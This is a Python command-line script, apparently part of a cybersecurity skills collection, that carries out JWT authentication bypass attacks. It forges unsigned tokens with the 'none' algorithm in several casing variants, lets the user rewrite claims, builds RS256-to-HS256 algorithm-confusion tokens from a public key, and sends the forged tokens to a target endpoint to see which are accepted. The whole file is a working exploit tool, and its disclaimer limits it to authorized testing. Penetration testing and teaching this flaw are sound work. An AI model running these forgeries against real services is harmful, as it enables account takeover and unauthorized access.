Anthropic-Cybersecurity-Skills/skills/performing-jwt-none-algorithm-attack/scripts/agent.py

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for performing JWT 'none' algorithm attack testing."""

import json
import argparse
import base64
import hmac
import hashlib
from datetime import datetime


def b64url_encode(data):
    """Base64url encode bytes."""
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def b64url_decode(s):
    """Base64url decode string."""
    s += "=" * (4 - len(s) % 4)
    return base64.urlsafe_b64decode(s)


def decode_jwt(token):
    """Decode and display JWT components without verification."""
    parts = token.split(".")
    if len(parts) not in (2, 3):
        return {"error": "Invalid JWT format — expected 2 or 3 parts"}
    header = json.loads(b64url_decode(parts[0]))
    payload = json.loads(b64url_decode(parts[1]))
    signature = parts[2] if len(parts) == 3 else ""
    vuln_checks = {
        "alg_none_in_header": header.get("alg", "").lower() in ("none", ""),
        "alg_symmetric": header.get("alg", "").startswith("HS"),
        "no_expiry": "exp" not in payload,
        "expired": payload.get("exp", float("inf")) < datetime.utcnow().timestamp() if "exp" in payload else False,
        "no_issuer": "iss" not in payload,
    }
    return {"header": header, "payload": payload, "signature_present": bool(signature), "vulnerability_checks": vuln_checks}


def forge_none_token(token, modify_claims=None):
    """Forge a JWT with 'none' algorithm (removes signature)."""
    parts = token.split(".")
    payload = json.loads(b64url_decode(parts[0]))
    claims = json.loads(b64url_decode(parts[1]))
    if modify_claims:
        claims.update(modify_claims)
    none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
    new_payload = b64url_encode(json.dumps(claims).encode())
    variants = [
        {"name": "alg_none", "token": f"{none_header}.{new_payload}."},
        {"name": "alg_None", "token": f"{b64url_encode(json.dumps({'alg': 'None', 'typ': 'JWT'}).encode())}.{new_payload}."},
        {"name": "alg_NONE", "token": f"{b64url_encode(json.dumps({'alg': 'NONE', 'typ': 'JWT'}).encode())}.{new_payload}."},
        {"name": "alg_nOnE", "token": f"{b64url_encode(json.dumps({'alg': 'nOnE', 'typ': 'JWT'}).encode())}.{new_payload}."},
        {"name": "empty_sig", "token": f"{none_header}.{new_payload}"},
        {"name": "no_dot", "token": f"{none_header}.{new_payload}"},
    ]
    return {
        "original_claims": json.loads(b64url_decode(parts[1])),
        "modified_claims": claims,
        "forged_tokens": variants,
    }


def test_alg_confusion(token, public_key_file=None):
    """Test algorithm confusion (RS256 -> HS256 using public key as HMAC secret)."""
    parts = token.split(".")
    header = json.loads(b64url_decode(parts[0]))
    claims = json.loads(b64url_decode(parts[1]))
    results = {"original_alg": header.get("alg"), "tests": []}
    if public_key_file:
        try:
            pubkey = open(public_key_file, "rb").read()
            hs256_header = b64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
            payload_b64 = b64url_encode(json.dumps(claims).encode())
            signing_input = f"{hs256_header}.{payload_b64}".encode()
            signature = b64url_encode(hmac.new(pubkey, signing_input, hashlib.sha256).digest())
            results["tests"].append({
                "name": "RS256_to_HS256_confusion",
                "forged_token": f"{hs256_header}.{payload_b64}.{signature}",
                "description": "Uses RSA public key as HMAC-SHA256 secret",
            })
        except Exception as e:
            results["tests"].append({"name": "RS256_to_HS256_confusion", "error": str(e)})
    none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
    payload_b64 = b64url_encode(json.dumps(claims).encode())
    results["tests"].append({
        "name": "alg_none_downgrade",
        "forged_token": f"{none_header}.{payload_b64}.",
        "description": "Downgrade to 'none' algorithm — removes signature",
    })
    return results


def test_jwt_endpoint(url, original_token, forged_tokens, headers=None):
    """Test forged JWTs against a target endpoint."""
    try:
        import requests
    except ImportError:
        return {"error": "requests not installed"}
    hdrs = headers or {}
    results = []
    for ft in forged_tokens:
        test_headers = {**hdrs, "Authorization": f"Bearer {ft['token']}"}
        try:
            resp = requests.get(url, headers=test_headers, timeout=10)
            accepted = resp.status_code in (200, 201, 204)
            results.append({
                "variant": ft["name"], "status": resp.status_code,
                "accepted": accepted, "body_snippet": resp.text[:200],
            })
        except Exception as e:
            results.append({"variant": ft["name"], "error": str(e)})
    orig_resp = None
    try:
        resp = requests.get(url, headers={**hdrs, "Authorization": f"Bearer {original_token}"}, timeout=10)
        orig_resp = {"status": resp.status_code, "body_length": len(resp.text)}
    except Exception:
        pass
    vulnerable = [r for r in results if r.get("accepted")]
    return {
        "url": url, "original_response": orig_resp,
        "tests": results, "vulnerable_variants": len(vulnerable),
        "finding": "JWT_NONE_VULNERABLE" if vulnerable else "JWT_NONE_REJECTED",
        "severity": "CRITICAL" if vulnerable else "INFO",
    }


def main():
    parser = argparse.ArgumentParser(description="JWT None Algorithm Attack Agent")
    sub = parser.add_subparsers(dest="command")
    d = sub.add_parser("decode", help="Decode JWT token")
    d.add_argument("--token", required=True)
    f = sub.add_parser("forge", help="Forge none-algorithm token")
    f.add_argument("--token", required=True)
    f.add_argument("--claims", help="JSON claims to modify")
    c = sub.add_parser("confuse", help="Test algorithm confusion")
    c.add_argument("--token", required=True)
    c.add_argument("--pubkey", help="RSA public key file for HS256 confusion")
    t = sub.add_parser("test", help="Test forged tokens against endpoint")
    t.add_argument("--url", required=True)
    t.add_argument("--token", required=True)
    args = parser.parse_args()
    if args.command == "decode":
        result = decode_jwt(args.token)
    elif args.command == "forge":
        claims = json.loads(args.claims) if args.claims else None
        result = forge_none_token(args.token, claims)
    elif args.command == "confuse":
        result = test_alg_confusion(args.token, args.pubkey)
    elif args.command == "test":
        forged = forge_none_token(args.token)
        result = test_jwt_endpoint(args.url, args.token, forged["forged_tokens"])
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()